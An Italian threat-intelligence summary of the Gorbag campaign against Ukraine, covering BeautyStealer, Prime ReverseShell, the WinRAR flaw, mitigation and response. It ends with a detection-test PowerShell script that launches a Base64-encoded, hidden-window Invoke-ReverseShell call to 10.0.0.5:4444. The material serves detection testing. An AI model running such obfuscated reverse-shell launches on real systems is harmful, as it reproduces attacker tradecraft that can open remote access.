La Campagna di Malware Gorbag Raccoglie Intelligenza dall’Ucraina

Sommario

Gorbag è un attore di minacce allineato alla Russia che prende di mira le organizzazioni ucraine per raccogliere informazioni sensibili. Il gruppo utilizza un toolkit specializzato che include l’infostealer BeautyStealer e Prime ReverseShell per raccogliere credenziali del browser, configurazioni VPN e documenti. Le sue operazioni enfatizzano la rapida raccolta di intelligence piuttosto che la persistenza a lungo termine, suggerendo un possibile ruolo di broker di accesso iniziale.

Indagine

I ricercatori di ESET hanno monitorato l’attività di Gorbag da febbraio 2025 e hanno osservato un cambiamento nel 2026 verso lo sfruttamento di una vulnerabilità di attraversamento del percorso di WinRAR. L’indagine ha identificato molteplici varianti di BeautyStealer e analizzato l’esfiltrazione tramite Telegram e infrastrutture C2 personalizzate. I ricercatori hanno anche scoperto una reverse shell PowerShell modificata per ingannare gli strumenti di sicurezza basati su AI.

Mitigazione

Le organizzazioni dovrebbero aggiornare WinRAR per risolvere CVE-2025-8088 e rafforzare il filtro email per bloccare i tentativi di spearphishing. Limitare l’esecuzione di macro tramite Group Policy può aiutare a prevenire la fase iniziale di infezione. I team di sicurezza dovrebbero anche monitorare l’attività insolita di PowerShell e l’esfiltrazione non autorizzata di dati verso servizi come Telegram.

Risposta

Quando viene rilevata un’attività dannosa, isolare gli host compromessi per interrompere ulteriori esfiltrazioni di dati e furti di credenziali. Condurre un’analisi forense della %ProgramData% directory e della cartella di avvio di Windows per file LNK sospetti o payload. Reimpostare tutte le credenziali potenzialmente esposte, incluse le password memorizzate nel browser e le configurazioni VPN, in tutto l’ambiente compromesso.

Esecuzione simulazione

• Narrativa & Comandi dell’attacco: Un avversario ha ottenuto l’accesso iniziale tramite un allegato di spearphishing. Per stabilire la persistenza e un canale di comando e controllo (C2), tenta di distribuire il “Prime ReverseShell”. Utilizzano PowerShell con il flag -Enc (EncodedCommand) per nascondere la struttura del payload da un’ispezione di base e includono la stringa Invoke-ReverseShell all’interno della logica decodificata per mantenere la compatibilità con le firme del toolkit esistenti. Allo stesso tempo, simulano l’attività “BeautyStealer” chiamando uno script che contiene quel identificatore specifico per esfiltrare i dati del browser.

• Script di test di regressione:

  # Script di simulazione: Attivazione pattern APT Gorbag
  # Questo script esegue due comandi separati per attivare le stringhe di rilevamento specifiche.
  
  Write-Host "[+] Inizio simulazione: attivazione logica Prime ReverseShell/BeautyStealer..." -ForegroundColor Cyan
  
  # 1. Attivazione tramite -Enc e Invoke-ReverseShell (Simulando Prime ReverseShell)
  # Utilizziamo un comando codificato in Base64 che, quando decodificato, contiene 'Invoke-ReverseShell'
  $Command = 'Write-Host "Connettendo..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444'
  $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
  $EncodedCommand = [Convert]::ToBase64String($Bytes)
  
  Write-Host "[+] Esecuzione di comando codificato..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden
  
  # 2. Attivazione tramite parola chiave 'BeautyStealer' (Simulando l'attività BeautyStealer)
  Write-Host "[+] Esecuzione di attivazione parola chiave BeautyStealer..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'Esecuzione modulo BeautyStealer...'`"" -WindowStyle Hidden
  
  Write-Host "[+] Comandi di simulazione inviati." -ForegroundColor Green

• Comandi di pulizia:

  # Pulizia: non sono stati creati file persistenti, ma assicuriamoci che non restino processi orfani.
  Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force
  Write-Host "[+] Pulizia completata." -ForegroundColor Cyan